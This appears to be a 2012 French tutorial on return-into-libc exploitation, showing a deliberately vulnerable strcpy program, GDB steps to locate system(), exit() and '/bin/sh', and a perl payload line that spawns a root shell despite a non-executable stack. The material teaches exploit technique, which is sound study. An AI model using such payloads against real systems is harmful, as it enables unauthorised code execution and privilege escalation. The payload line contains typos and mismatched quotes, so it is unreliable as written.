[Paper] Return Into Libc Simple

Download | Vote Up (2) | Vote Down (0)

# Author : Storn
# Website : http://pwn-network.com, http://bsoddigital.fr
# Date : 28/03/2012
# Thank's : fr0g (hwc-crew.com)

Pour la Bases des Stack Overflow : http://hwc-crew.com/index.php?id=45

Dans l’exploitation Basique de Buffer Overflow, on utilise un code binaire que l’on appelle aussi ShellCode qui est exécuté sur la Pile.
Hors il existe des protections qui empêche cette Pile d’être exécuter,
Le NX Bit pour les intimes (No eXecute).
Mais il y a des parades et les Ret-Into-Libc en font partie.

Qu’es que la Libc ou GLibc ?
GNU Library C ; Une Bibliothèque de fonctions pour les programme en C tout simplement.

Comme la Pile n’est pas exécutable, on va utiliser l’architecture du programme pour lui faire exécuter
Des fonctions contenues dans la Libc.
Pour être bref on se retrouve devant ce schéma .

1
2[ Buffer ][ Save EBP ][ EIP ][ Arg2 ][ Arg1 ][  Arg0 ]  

Donc on va faire ce qui suit.

1
2Buffer & Save EBP :    « a » x Taille_Maxi_Du_Buffer+4
3EIP :                               L’adresse de la fonction system() , Pour exécuter notre /bin/sh.
4Arg2 :                            L’adresse de la fonction exit(), Pour que notre programme quitte sans segfault.
5Arg1 :                            L’adresse de /bin/sh.

Comme vous l’aurez compris, une fois l’Overflow correctement effectuer, le registre EIP contiendra l’adresse de system() et pointera donc dessus, de ce fait, system() va prendre le contenu du premier Argument et l’exécuter (Arg1 = /bin/sh), une fois fait pour finir l’utilisation, l’exécution finira par un exit() qui terminera proprement sans segfaulté.

Maintenant, on va mettre les mains à la patte :D

On va prendre ce code vulnérable et le compiler.

1
2#include <string.h>
3int main(int argc, char **argv)
4{
5char buffer[50] ;
6strcpy(buffer, argv[1]);
7return(0);
8}

On lance le programme vulnérable avec GDB.

 1
 2gdb vuln
 3GNU gdb (GDB) 7.0.1-debian
 4Copyright (C) 2009 Free Software Foundation, Inc.
 5License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
 6This is free software: you are free to change and redistribute it.
 7There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
 8and "show warranty" for details.
 9This GDB was configured as "i486-linux-gnu".
10For bug reporting instructions, please see:
11<http://www.gnu.org/software/gdb/bugs/>...
12Reading symbols from /home/vuln...done.
13(gdb)

On commence par chercher l’adresse de /bin/sh dans les variables d’environnement.

 1
 2(gdb) b main
 3Breakpoint 1 at 0x80484b8
 4(gdb) r
 5Starting program: /home/vuln
 6
 7Breakpoint 1, 0x080484b8 in main ()
 8(gdb) x/1000s $esp
 9[ … ]
100xbfffff7b:      "LANG=fr_FR.UTF-8"
110xbfffff8c:      "SHELL=/bin/sh"
120xbfffff9a:      "PWD=/home/vuln"
130xbfffffdf:      "LINES=24"
140xbfffffe8:      "/home/vuln"
150xbffffffc:      ""
160xbffffffd:      ""
170xbffffffe:      ""
180xbfffffff:      ""---Type <return> to continue, or q <return> to quit---

On a cette ligne: 0xbfffff8c: "SHELL=/bin/sh".
Mais pour avoir que le /bin/sh il faut enlever le ‘SHELL=’ , donc 6 caractères.
0xbfffff8c +6 = 0xbfffff92
Notre /bin/sh se trouve à l’adresse 0xbfffff92
Pour notre exploitation il nous faut l’adresse en lifo :
\x92\xff\xff\xbf.

On continue en cherchant l’adresse de system().

1
2(gdb) x system
30xb7ecf180 <system>:     "\203\354\f\211t$\004\213t$\020\211\034$\350\034\331\375\377\201\303a\216\020"

System() est à cette adresse :
0xb7ecf180 donc \x80\xf1\xec\xb7.

Au tour de exit().

1
2(gdb) x exit
30xb7ec5300 <exit>:       "U\211\345S\350\246w\376\377\201\303\353,\021"

AIE ! Un NULL Byte 0xb7ec5300 (le 00) on prend donc ‘exit+4’ à l’adresse :
0xb7ec5304 qui nous donne \x04\x53\xec\xb7.

On a ce qu’il faut pour mener à bien notre exploitation en respectant notre plan qui est je rappel :

1
2[  \x90 x 50 ][  \x90 x 4 ][  \x80\xf1\xec\xb7  ][  \x04\x53\xec\xb7  ][ \x92\xff\xff\xbf  ]

On exécute notre exploitation.

1
2./vuln ‘perl -e `print "\x 90"x54 . "\x80\xf1\xec\xb7" . "\x04\x53\xec\xb7 " . "\x92\xff\xff\xbf "`’
3$ whoami
4root

On obtient bien un Shell /bin/sh malgré la non-exécution de la pile.

St0rn


Be the first to give feedback !

Please login to comment !